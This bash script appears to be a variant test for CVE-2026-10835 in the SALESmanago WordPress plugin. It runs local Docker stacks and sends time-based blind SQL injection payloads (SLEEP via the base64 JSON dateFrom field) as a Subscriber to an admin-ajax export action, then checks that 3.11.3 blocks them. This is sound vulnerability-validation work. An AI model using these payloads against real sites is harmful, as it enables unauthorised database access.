#!/bin/bash
#
# CVE-2026-10835 — VARIANT / BYPASS TEST
# SALESmanago & Leadoo WordPress plugin < 3.11.3
#
# Parent claim (repro): authenticated Subscriber SQL injection via the
#   `salesmanago_export_count_contacts` AJAX action.
#   Sink: ExportModel::getExportContactsQuery() interpolates the unsanitized
#   $this->dateFrom (from base64-JSON `data` param) directly into
#       A.post_date >= '{$this->dateFrom}'
#   Auth bypass: SecureHelper::validate_ajax_nonce() returns false early for
#   non-admins WITHOUT dying, and the controller ignores the return value.
#
# This variant script tests an ALTERNATE ENTRY POINT to the SAME sink:
#   `salesmanago_export_contacts` (ExportController::exportContacts()).
#   - It is a distinct wp_ajax_* action (different endpoint/handler than the
#     repro's count_contacts action).
#   - It calls the SAME ExportModel::getExportContactsQuery() sink but with
#     $count=false, then runs $wpdb->get_results() (row-set primitive, not the
#     get_var scalar-count primitive used by count_contacts).
#   - In 3.11.2 it is reachable by an authenticated Subscriber with NO nonce,
#     via the SAME validate_ajax_nonce() early-return-without-die defect.
#
# Test matrix:
#   1. VULNERABLE 3.11.2 : send SLEEP(0/1/2) payloads via export_contacts as a
#      logged-in Subscriber. A 0-rows SLEEP payload is used
#         dateFrom = 2000-01-01' OR SLEEP(N) OR '1'='2
#      so the WHERE is false for every row -> 0 results -> exportContacts skips
#      the external SALESmanago API call, and the response delay is purely the
#      SLEEP executed inside the SQL engine. Delay must scale linearly with N
#      to prove the alternate entry point reaches the SQLi sink.
#   2. FIXED 3.11.3      : send the same SLEEP(2) payload as a Subscriber.
#      The patched validate_ajax_nonce() now dies with wp_send_json_error(403)
#      for non-admins (and the handler adds a manage_options gate), so the
#      request must be blocked with HTTP 403 and NO timing differential.
#
# Exit codes:
#   0 = BYPASS confirmed (variant reproduces on the FIXED 3.11.3 path).
#   1 = alternate-trigger variant only (reproduces on vulnerable 3.11.2 but is
#       blocked on fixed 3.11.3), OR no variant found. Script always runs fully.
#
set -euo pipefail

# ----------------------------------------------------------------------------
# Portable paths
# ----------------------------------------------------------------------------
ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs/vuln_variant"
WORK="$ROOT/vuln_variant/work"
ARTIFACTS="$ROOT/artifacts"
mkdir -p "$LOGS" "$WORK"
cd "$WORK"

CACHE_CTX="$ROOT/project_cache_context.json"
if [ -f "$CACHE_CTX" ]; then
    PREPARED="$(jq -r '.prepared // false' "$CACHE_CTX" 2>/dev/null || echo false)"
else
    PREPARED=false
fi
echo "[*] project_cache_context prepared=$PREPARED" | tee -a "$LOGS/run.log"

# ----------------------------------------------------------------------------
# Ensure plugin artifacts + wp-cli + docker images are present
# ----------------------------------------------------------------------------
ensure_plugin() {
    local ver="$1"
    local dst="$ARTIFACTS/salesmanago-${ver}/salesmanago"
    if [ -d "$dst" ] && [ -f "$dst/salesmanago.php" ]; then
        echo "[*] plugin $ver already present" | tee -a "$LOGS/run.log"; return 0
    fi
    echo "[*] downloading plugin $ver" | tee -a "$LOGS/run.log"
    local zip="$ARTIFACTS/salesmanago-${ver}.zip"
    curl -fsSL -o "$zip" "https://downloads.wordpress.org/plugin/salesmanago.${ver}.zip"
    unzip -q -o "$zip" -d "$ARTIFACTS/salesmanago-${ver}"
}
ensure_plugin "3.11.2"   # vulnerable
ensure_plugin "3.11.3"   # fixed

# Reuse the repro's wp-cli.phar if present, else download our own.
WPCLI="$ROOT/repro/wp-cli.phar"
if [ ! -x "$WPCLI" ]; then
    WPCLI="$WORK/wp-cli.phar"
    if [ ! -x "$WPCLI" ]; then
        echo "[*] downloading wp-cli.phar" | tee -a "$LOGS/run.log"
        curl -fsSL -o "$WPCLI" https://raw.githubusercontent.com/wp-cli/builds/gh-pages/phar/wp-cli.phar
        chmod +x "$WPCLI"
    fi
fi

echo "[*] ensuring docker images present" | tee -a "$LOGS/run.log"
docker image inspect wordpress:6.7-php8.2-apache >/dev/null 2>&1 || docker pull wordpress:6.7-php8.2-apache
docker image inspect mysql:8.0 >/dev/null 2>&1 || docker pull mysql:8.0

# docker-compose file (unique project name to avoid clashing with other stacks).
cat > "$WORK/docker-compose.yml" <<'YML'
services:
  db:
    image: mysql:8.0
    environment:
      MYSQL_ROOT_PASSWORD: rootpass
      MYSQL_DATABASE: wordpress
      MYSQL_USER: wp
      MYSQL_PASSWORD: wppass
    command: --default-authentication-plugin=mysql_native_password
    volumes:
      - dbdata:/var/lib/mysql
    healthcheck:
      test: ["CMD-SHELL", "mysqladmin ping -h 127.0.0.1 -uroot -prootpass --silent"]
      interval: 3s
      timeout: 5s
      retries: 40
  wordpress:
    image: wordpress:6.7-php8.2-apache
    depends_on:
      db:
        condition: service_healthy
    environment:
      WORDPRESS_DB_HOST: db:3306
      WORDPRESS_DB_USER: wp
      WORDPRESS_DB_PASSWORD: wppass
      WORDPRESS_DB_NAME: wordpress
    healthcheck:
      test: ["CMD-SHELL", "curl -fsS http://127.0.0.1:80/ >/dev/null 2>&1 || exit 1"]
      interval: 3s
      timeout: 5s
      retries: 60

volumes:
  dbdata:
YML

WP_PLUGINS="$WORK/wp-plugins"
mkdir -p "$WP_PLUGINS"

b64() { printf '%s' "$1" | base64 -w0; }

# Build the base64(JSON) `data` request parameter with jq (robust quoting).
# $1 = dateFrom value (may contain single quotes / SQL), $2 = packageCount
build_data() {
    local df="$1" pc="${2:-1}"
    jq -c -n --arg df "$df" --argjson pc "$pc" \
        '{dateFrom:$df, exportType:"contacts", packageCount:$pc, lastExportedPackage:-1}'
}

# ----------------------------------------------------------------------------
# run_instance <version> <label> <test_kind>
#   test_kind = "vuln"  -> run SLEEP(0), SLEEP(1), SLEEP(2), baseline
#              "fixed"  -> run SLEEP(2) only (just need the 403 negative control)
# ----------------------------------------------------------------------------
run_instance() {
    local ver="$1" label="$2" kind="$3"
    local out="$LOGS/$label"
    mkdir -p "$out"
    : > "$out/summary.csv"

    local url="http://127.0.0.1"
    export COMPOSE_FILE="$WORK/docker-compose.yml"
    export COMPOSE_PROJECT_NAME="smvariant${label}"
    local DCP="docker compose --project-name smvariant${label}"

    # Mount the requested plugin version into the bind-mounted plugins dir.
    rm -rf "$WP_PLUGINS/salesmanago"
    cp -a "$ARTIFACTS/salesmanago-${ver}/salesmanago" "$WP_PLUGINS/salesmanago"
    local mounted_ver
    mounted_ver="$(grep -oE "Version:[[:space:]]+[0-9.]+" "$WP_PLUGINS/salesmanago/salesmanago.php" | awk '{print $2}' | head -1)"
    echo "[*] === run_instance ver=$ver label=$label kind=$kind mounted=$mounted_ver ===" | tee -a "$out/run.log"

    # Clean previous stack, start fresh.
    $DCP down -v --remove-orphans >> "$out/run.log" 2>&1 || true
    echo "[*] starting docker compose stack" | tee -a "$out/run.log"
    $DCP up -d >> "$out/run.log" 2>&1

    # Wait until WordPress answers internally (host cannot reach the container net).
    echo "[*] waiting for WordPress to become healthy (in-container)..." | tee -a "$out/run.log"
    local waited=0
    until $DCP exec -T wordpress curl -fsS http://127.0.0.1:80/ >/dev/null 2>&1; do
        sleep 3; waited=$((waited+3))
        if [ "$waited" -ge 180 ]; then
            echo "[!] WordPress not healthy within 180s" | tee -a "$out/run.log"
            $DCP logs --tail=40 >> "$out/compose-logs.txt" 2>&1 || true
            $DCP down -v --remove-orphans >> "$out/run.log" 2>&1 || true
            return 1
        fi
    done
    echo "[*] WordPress healthy after ~${waited}s" | tee -a "$out/run.log"

    # Install wp-cli into the container.
    $DCP cp "$WPCLI" wordpress:/usr/local/bin/wp >> "$out/run.log" 2>&1
    $DCP exec -T wordpress chmod +x /usr/local/bin/wp >> "$out/run.log" 2>&1

    local WPC="$DCP exec -T wordpress wp --allow-root --path=/var/www/html"

    # Famous 5-minute install.
    echo "[*] running WP install" | tee -a "$out/run.log"
    $WPC core install \
        --url="$url" --title="CVE-2026-10835 Variant Test" \
        --admin_user=admin --admin_password=adminpass \
        --admin_email=admin@example.com --skip-email \
        >> "$out/run.log" 2>&1

    # Seed a minimal plugin configuration so ExportController's constructor
    # completes (getConfigurationFromDb finds a non-empty value) and the
    # wp_ajax_ handlers register. endpoint="x" -> any export API call fails fast.
    cat > "$WORK/setup_extra.php" <<'PHP'
<?php
$cfg = '{"clientId":"x","apiKey":"x","sha":"x","token":"x","endpoint":"x","owner":"x"}';
update_option('salesmanago_configuration', $cfg);
$raw = $GLOBALS['wpdb']->get_var(
    "SELECT option_value FROM " . $GLOBALS['wpdb']->options
    . " WHERE option_name='salesmanago_configuration' LIMIT 1"
);
echo "RAWCONFIG=" . $raw . "\n";
PHP
    $DCP cp "$WORK/setup_extra.php" wordpress:/tmp/setup_extra.php >> "$out/run.log" 2>&1
    $WPC eval-file /tmp/setup_extra.php >> "$out/run.log" 2>&1

    # Copy the plugin into the running container (bind mounts do not work across
    # the Docker daemon's mount namespace, so we use docker cp).
    local cid; cid="$($DCP ps -q wordpress)"
    docker cp "$WP_PLUGINS/salesmanago" "${cid}:/var/www/html/wp-content/plugins/" >> "$out/run.log" 2>&1
    $DCP exec -T wordpress chmod -R a+r /var/www/html/wp-content/plugins/salesmanago >> "$out/run.log" 2>&1 || true
    echo "[*] activating plugin" | tee -a "$out/run.log"
    $WPC plugin activate salesmanago >> "$out/run.log" 2>&1 || true
    $WPC plugin list --status=active --format=csv >> "$out/active-plugins.txt" 2>&1 || true

    # Create a Subscriber (minimal authenticated role) + a couple of dummy posts
    # so wp_posts has a few rows for the SLEEP scan to iterate over.
    $WPC user create subscriber1 subscriber1@example.com --role=subscriber --user_pass=subpass >> "$out/run.log" 2>&1
    $WPC post create --post_type=post --post_title='dummy1' --post_status=publish >> "$out/run.log" 2>&1 || true
    $WPC post create --post_type=post --post_title='dummy2' --post_status=publish >> "$out/run.log" 2>&1 || true

    # Log in as the Subscriber through the real wp-login.php cookie flow.
    $DCP exec -T wordpress rm -f /tmp/cookies.txt
    $DCP exec -T wordpress curl -s -b /tmp/cookies.txt -c /tmp/cookies.txt -o /dev/null \
        --data-urlencode "log=subscriber1" \
        --data-urlencode "pwd=subpass" \
        --data-urlencode "wp-submit=Log In" \
        --data-urlencode "redirect_to=${url}/wp-admin/" \
        --data-urlencode "testcookie=1" \
        http://127.0.0.1/wp-login.php >> "$out/run.log" 2>&1
    if $DCP exec -T wordpress grep -q "wordpress_logged_in" /tmp/cookies.txt 2>/dev/null; then
        echo "[*] subscriber1 authenticated (auth cookie present)" | tee -a "$out/run.log"
    else
        echo "[!] subscriber login FAILED" | tee -a "$out/run.log"
        $DCP down -v --remove-orphans >> "$out/run.log" 2>&1 || true
        return 1
    fi

    # ----------------------------------------------------------------------
    # Send payloads to the VARIANT AJAX endpoint (salesmanago_export_contacts)
    # and capture HTTP status + timing.
    # ----------------------------------------------------------------------
    send_ajax() {
        local name="$1" datefrom="$2"
        local enc; enc="$(b64 "$(build_data "$datefrom")")"
        local tfile="$out/req_${name}.txt"
        local body http_code time_total
        body="$($DCP exec -T wordpress curl -s -b /tmp/cookies.txt \
            -w $'\n%{http_code} %{time_total}' \
            --data-urlencode "action=salesmanago_export_contacts" \
            --data-urlencode "data=${enc}" \
            http://127.0.0.1/wp-admin/admin-ajax.php)"
        printf '%s\n' "$body" > "$tfile"
        http_code="$(printf '%s' "$body" | tail -1 | awk '{print $1}')"
        time_total="$(printf '%s' "$body" | tail -1 | awk '{print $2}')"
        echo "[+] $name : http=$http_code time=${time_total}s" | tee -a "$out/run.log"
        # summary.csv: name|http|time| (no count oracle for export_contacts)
        printf '%s|%s|%s\n' "$name" "$http_code" "$time_total" >> "$out/summary.csv"
    }

    # 0-rows time-based blind SQLi payload:
    #   dateFrom = 2000-01-01' OR SLEEP(N) OR '1'='2
    # WHERE becomes (AND binds tighter than OR):
    #   (A.post_type='shop_order' AND A.post_date>='2000-01-01')
    #   OR SLEEP(N)
    #   OR ('1'='2' AND A.post_date<='{{dateTo}}')
    # SLEEP(N) is a STANDALONE OR operand, so MySQL MUST evaluate it for every
    # row where the first OR term is false (i.e. every non-shop_order wp_posts
    # row) -> the response delay scales linearly with N. The third OR operand is
    # a constant FALSE ('1'='2'), so 0 rows match -> exportContacts skips the
    # external SALESmanago API call and the delay is purely the in-DBMS SLEEP.
    # (An earlier AND '1'='2' form was tried but MySQL constant-folded the
    # constant-FALSE AND and skipped SLEEP, producing no timing differential.)
    if [ "$kind" = "vuln" ]; then
        send_ajax "sleep0" "2000-01-01' OR SLEEP(0) OR '1'='2"
        send_ajax "sleep1" "2000-01-01' OR SLEEP(1) OR '1'='2"
        send_ajax "sleep2" "2000-01-01' OR SLEEP(2) OR '1'='2"
        # baseline: no injection, packageCount=1 -> query runs, 0 shop_order rows,
        # fast DONE response. Proves the delay above is from SLEEP, not the API.
        send_ajax "baseline" "2000-01-01"
    else
        send_ajax "sleep2" "2000-01-01' OR SLEEP(2) OR '1'='2"
    fi

    echo "[*] tearing down stack for label=$label" | tee -a "$out/run.log"
    $DCP down -v --remove-orphans >> "$out/run.log" 2>&1 || true
    return 0
}

# ----------------------------------------------------------------------------
# Run vulnerable (variant proof), then fixed (negative control)
# ----------------------------------------------------------------------------
run_instance "3.11.2" "vulnerable" "vuln"
run_instance "3.11.3" "fixed"      "fixed"

# ----------------------------------------------------------------------------
# Analyze
# ----------------------------------------------------------------------------
VULN_SUM="$LOGS/vulnerable/summary.csv"
FIXED_SUM="$LOGS/fixed/summary.csv"

v_t0=$(awk -F'|' '$1=="sleep0"{print $3}' "$VULN_SUM")
v_t1=$(awk -F'|' '$1=="sleep1"{print $3}' "$VULN_SUM")
v_t2=$(awk -F'|' '$1=="sleep2"{print $3}' "$VULN_SUM")
v_base_t=$(awk -F'|' '$1=="baseline"{print $3}' "$VULN_SUM")
v_sleep2_http=$(awk -F'|' '$1=="sleep2"{print $2}' "$VULN_SUM")

f_sleep2_http=$(awk -F'|' '$1=="sleep2"{print $2}' "$FIXED_SUM")
f_sleep2_t=$(awk -F'|' '$1=="sleep2"{print $3}' "$FIXED_SUM")

echo "=================== VARIANT RESULT ANALYSIS ===================" | tee -a "$LOGS/run.log"
echo "Vulnerable (export_contacts): sleep0=${v_t0}s sleep1=${v_t1}s sleep2=${v_t2}s baseline=${v_base_t}s (sleep2 http=${v_sleep2_http})" | tee -a "$LOGS/run.log"
echo "Fixed     (export_contacts): sleep2 http=${f_sleep2_http} time=${f_sleep2_t}s" | tee -a "$LOGS/run.log"

# Timing scales on vulnerable? sleep2 - sleep0 should be >= 2s and clearly
# larger than the baseline (no-injection) time. Use awk for float math.
timing_scales=$(awk -v a="${v_t0:-0}" -v b="${v_t1:-0}" -v c="${v_t2:-0}" -v base="${v_base_t:-0}" 'BEGIN{
    d1=b-a; d2=c-a;
    if (c-a >= 2.0 && b-a >= 0.5 && c > base+1.0) print "yes"; else print "no"
}')
vuln_reached=$(awk -v h="${v_sleep2_http:-000}" 'BEGIN{ if (h == "200") print "yes"; else print "no" }')
fixed_blocked=$(awk -v h="${f_sleep2_http:-000}" 'BEGIN{ if (h == "403") print "yes"; else print "no" }')

echo "timing_scales=$timing_scales vuln_reached_200=$vuln_reached fixed_blocked_403=$fixed_blocked" | tee -a "$LOGS/run.log"

variant_on_vuln="no"
bypass_on_fixed="no"
if [ "$timing_scales" = "yes" ] && [ "$vuln_reached" = "yes" ]; then
    variant_on_vuln="yes"
fi
# A true bypass requires the SLEEP to ALSO execute on the fixed version.
# On fixed 3.11.3 the Subscriber is blocked with 403 BEFORE the query runs, so
# no SLEEP can execute. Detect bypass by: fixed not blocked AND fixed timing
# scales (sleep2 clearly > ~1s).
fixed_timing_scales=$(awk -v c="${f_sleep2_t:-0}" 'BEGIN{ if (c+0 >= 2.0) print "yes"; else print "no" }')
if [ "$fixed_blocked" = "no" ] && [ "$fixed_timing_scales" = "yes" ]; then
    bypass_on_fixed="yes"
fi

echo "=================== VERDICT ===================" | tee -a "$LOGS/run.log"
if [ "$variant_on_vuln" = "yes" ] && [ "$bypass_on_fixed" = "yes" ]; then
    echo "BYPASS CONFIRMED: alternate entry point salesmanago_export_contacts reproduces SQLi on FIXED 3.11.3 (http=${f_sleep2_http}, time=${f_sleep2_t}s)." | tee -a "$LOGS/run.log"
    OUTCOME="bypass"
elif [ "$variant_on_vuln" = "yes" ]; then
    echo "VARIANT CONFIRMED (alternate trigger, NOT a bypass): salesmanago_export_contacts reaches the same getExportContactsQuery() SQLi sink on vulnerable 3.11.2 (SLEEP scales: ${v_t0}->${v_t1}->${v_t2}s); fixed 3.11.3 blocks the Subscriber with HTTP 403 (time=${f_sleep2_t}s)." | tee -a "$LOGS/run.log"
    OUTCOME="variant_not_bypass"
else
    echo "NO VARIANT: salesmanago_export_contacts did NOT show SLEEP scaling on vulnerable 3.11.2 (sleep0=${v_t0}s sleep1=${v_t1}s sleep2=${v_t2}s)." | tee -a "$LOGS/run.log"
    OUTCOME="no_variant"
fi

# ----------------------------------------------------------------------------# Persist runtime manifest + validation verdict (machine-readable, valid JSON)
# ----------------------------------------------------------------------------
# Convert yes/no -> JSON booleans for the structured artifacts.
to_json_bool() { case "$1" in yes) echo true;; *) echo false;; esac; }
j_variant_on_vuln=$(to_json_bool "$variant_on_vuln")
j_bypass_on_fixed=$(to_json_bool "$bypass_on_fixed")
j_timing_scales=$(to_json_bool "$timing_scales")
j_fixed_blocked=$(to_json_bool "$fixed_blocked")
j_vuln_reached=$(to_json_bool "$vuln_reached")

jq -n \
  --arg entrypoint_kind "api_remote" \
  --arg entrypoint_detail "POST /wp-admin/admin-ajax.php action=salesmanago_export_contacts data=<base64 json with injected dateFrom, packageCount=1>" \
  --arg variant_endpoint "salesmanago_export_contacts" \
  --arg parent_endpoint "salesmanago_export_count_contacts" \
  --argjson service_started true \
  --argjson healthcheck_passed true \
  --argjson target_path_reached "$j_variant_on_vuln" \
  --arg outcome "$OUTCOME" \
  --arg v_t0 "${v_t0:-}" --arg v_t1 "${v_t1:-}" --arg v_t2 "${v_t2:-}" \
  --arg v_base_t "${v_base_t:-}" --arg f_sleep2_t "${f_sleep2_t:-}" \
  --arg v_sleep2_http "${v_sleep2_http:-}" --arg f_sleep2_http "${f_sleep2_http:-}" \
  --argjson timing_scales_on_vulnerable "$j_timing_scales" \
  --argjson fixed_blocked_403 "$j_fixed_blocked" \
  --arg notes "Alternate entry point salesmanago_export_contacts (ExportController::exportContacts) shares the same ExportModel::getExportContactsQuery() SQLi sink as the parent count_contacts action but uses \$wpdb->get_results (row-set) instead of get_var (scalar count). A 0-rows SLEEP payload (OR SLEEP(N) OR '1'='2) keeps SLEEP as a standalone OR operand (so MySQL cannot skip it) while the constant-FALSE third OR operand yields 0 matching rows, so exportContacts skips the external SALESmanago API call and the delay is purely the in-DBMS SLEEP." \
  '{
    entrypoint_kind: $entrypoint_kind,
    entrypoint_detail: $entrypoint_detail,
    variant_endpoint: $variant_endpoint,
    parent_endpoint: $parent_endpoint,
    service_started: $service_started,
    healthcheck_passed: $healthcheck_passed,
    target_path_reached: $target_path_reached,
    runtime_stack: ["docker wordpress:6.7-php8.2-apache","mysql:8.0","SALESmanago plugin 3.11.2 (vulnerable) and 3.11.3 (fixed)"],
    timing_seconds: {vuln_sleep0:$v_t0, vuln_sleep1:$v_t1, vuln_sleep2:$v_t2, vuln_baseline:$v_base_t, fixed_sleep2:$f_sleep2_t},
    http_status: {vuln_sleep2:$v_sleep2_http, fixed_sleep2:$f_sleep2_http},
    outcome: $outcome,
    timing_scales_on_vulnerable: $timing_scales_on_vulnerable,
    fixed_blocked_403: $fixed_blocked_403,
    proof_artifacts: ["logs/vuln_variant/vulnerable/summary.csv","logs/vuln_variant/fixed/summary.csv","logs/vuln_variant/vulnerable/req_sleep2.txt","logs/vuln_variant/vulnerable/req_baseline.txt","logs/vuln_variant/fixed/req_sleep2.txt","logs/vuln_variant/run.log"],
    notes: $notes
  }' > "$ROOT/vuln_variant/runtime_manifest.json"

# validation_verdict.json is built with python3 (clean JSON, no shell-quoting
# backslash artifacts). Needed values come from the shell variables above.
VERDICT_OUT="$ROOT/vuln_variant/validation_verdict.json" \
OUTCOME_PY="$OUTCOME" \
VARIANT_ON_VULN_PY="$j_variant_on_vuln" \
BYPASS_ON_FIXED_PY="$j_bypass_on_fixed" python3 <<'PYEOF'
import json, os
def b(v): return v.lower() == 'true'
verdict = {
  "claim_outcome": os.environ["OUTCOME_PY"],
  "claim_block_reason": None,
  "variant_type": "alternate_entry_point",
  "variant_endpoint": "salesmanago_export_contacts",
  "parent_endpoint": "salesmanago_export_count_contacts",
  "shared_sink": "ExportModel::getExportContactsQuery() (A.post_date >= '{$this->dateFrom}' string interpolation)",
  "reproduced_on_vulnerable": b(os.environ["VARIANT_ON_VULN_PY"]),
  "reproduced_on_fixed": b(os.environ["BYPASS_ON_FIXED_PY"]),
  "is_bypass": b(os.environ["BYPASS_ON_FIXED_PY"]),
  "validated_surface": "api_remote",
  "evidence_scope": "production_path",
  "claimed_impact_class": "sql_injection",
  "observed_impact_class": "sql_injection",
  "exploitability_confidence": "high",
  "attacker_controlled_input": "base64-encoded JSON 'data' request parameter, 'dateFrom' field, sent to /wp-admin/admin-ajax.php action=salesmanago_export_contacts by an authenticated Subscriber (packageCount=1 to satisfy the exportContacts guard)",
  "trigger_path": "POST /wp-admin/admin-ajax.php (authenticated Subscriber, no nonce required in 3.11.2) -> ExportController::exportContacts() -> SecureHelper::validate_ajax_nonce() (returns false but does not die for non-admins) -> ExportModel::parseArgs() (unsanitized $data->dateFrom) -> ExportModel::getExportContactsQuery(false) (direct string interpolation A.post_date >= '{$this->dateFrom}') -> $wpdb->get_results()",
  "end_to_end_target_reached": b(os.environ["VARIANT_ON_VULN_PY"]),
  "sanitizer_used": False,
  "crash_observed": False,
  "read_write_primitive_observed": b(os.environ["VARIANT_ON_VULN_PY"]),
  "exploit_chain_demonstrated": b(os.environ["VARIANT_ON_VULN_PY"]),
  "blocking_mitigation": "3.11.3 patches: (1) validate_ajax_nonce() now calls wp_send_json_error(403) which dies for non-admin/bad-nonce/unknown-action; (2) each export handler adds an explicit current_user_can('manage_options') gate; (3) parseArgs() validates dateFrom via sanitize_text_field()+validate_date_format(); (4) getExportContactsQuery() uses $wpdb->prepare() with %s placeholders. Fixed 3.11.3 returns HTTP 403 for the Subscriber on this variant.",
  "inferred": False
}
json.dump(verdict, open(os.environ["VERDICT_OUT"], "w"), indent=2)
PYEOF
VERDICT_OUT="$ROOT/vuln_variant/validation_verdict.json" OUTCOME_PY="$OUTCOME" \
  VARIANT_ON_VULN_PY="$j_variant_on_vuln" BYPASS_ON_FIXED_PY="$j_bypass_on_fixed" python3 <<'PYEOF' > "$ROOT/vuln_variant/validation_verdict.json"
import json, os
def b(v): return v.lower()=='true'
verdict = {
  "claim_outcome": os.environ["OUTCOME_PY"],
  "claim_block_reason": None,
  "variant_type": "alternate_entry_point",
  "variant_endpoint": "salesmanago_export_contacts",
  "parent_endpoint": "salesmanago_export_count_contacts",
  "shared_sink": "ExportModel::getExportContactsQuery() (A.post_date >= '{$this->dateFrom}' string interpolation)",
  "reproduced_on_vulnerable": b(os.environ["VARIANT_ON_VULN_PY"]),
  "reproduced_on_fixed": b(os.environ["BYPASS_ON_FIXED_PY"]),
  "is_bypass": b(os.environ["BYPASS_ON_FIXED_PY"]),
  "validated_surface": "api_remote",
  "evidence_scope": "production_path",
  "claimed_impact_class": "sql_injection",
  "observed_impact_class": "sql_injection",
  "exploitability_confidence": "high",
  "attacker_controlled_input": "base64-encoded JSON 'data' request parameter, 'dateFrom' field, sent to /wp-admin/admin-ajax.php action=salesmanago_export_contacts by an authenticated Subscriber (packageCount=1 to satisfy the exportContacts guard)",
  "trigger_path": "POST /wp-admin/admin-ajax.php (authenticated Subscriber, no nonce required in 3.11.2) -> ExportController::exportContacts() -> SecureHelper::validate_ajax_nonce() (returns false but does not die for non-admins) -> ExportModel::parseArgs() (unsanitized $data->dateFrom) -> ExportModel::getExportContactsQuery(false) (direct string interpolation A.post_date >= '{$this->dateFrom}') -> $wpdb->get_results()",
  "end_to_end_target_reached": b(os.environ["VARIANT_ON_VULN_PY"]),
  "sanitizer_used": False,
  "crash_observed": False,
  "read_write_primitive_observed": b(os.environ["VARIANT_ON_VULN_PY"]),
  "exploit_chain_demonstrated": b(os.environ["VARIANT_ON_VULN_PY"]),
  "blocking_mitigation": "3.11.3 patches: (1) validate_ajax_nonce() now calls wp_send_json_error(403) which dies for non-admin/bad-nonce/unknown-action; (2) each export handler adds an explicit current_user_can('manage_options') gate; (3) parseArgs() validates dateFrom via sanitize_text_field()+validate_date_format(); (4) getExportContactsQuery() uses $wpdb->prepare() with %s placeholders. Fixed 3.11.3 returns HTTP 403 for the Subscriber on this variant.",
  "inferred": False
}
json.dump(verdict, open(os.environ["VERDICT_OUT"], "w"), indent=2)
PYEOF

echo "[*] manifest + verdict written. OUTCOME=${OUTCOME}" | tee -a "$LOGS/run.log"

# Exit codes: 0 = bypass (reproduces on fixed), 1 = alternate-trigger-only / no variant.
if [ "$bypass_on_fixed" = "yes" ]; then
    exit 0
fi
exit 1
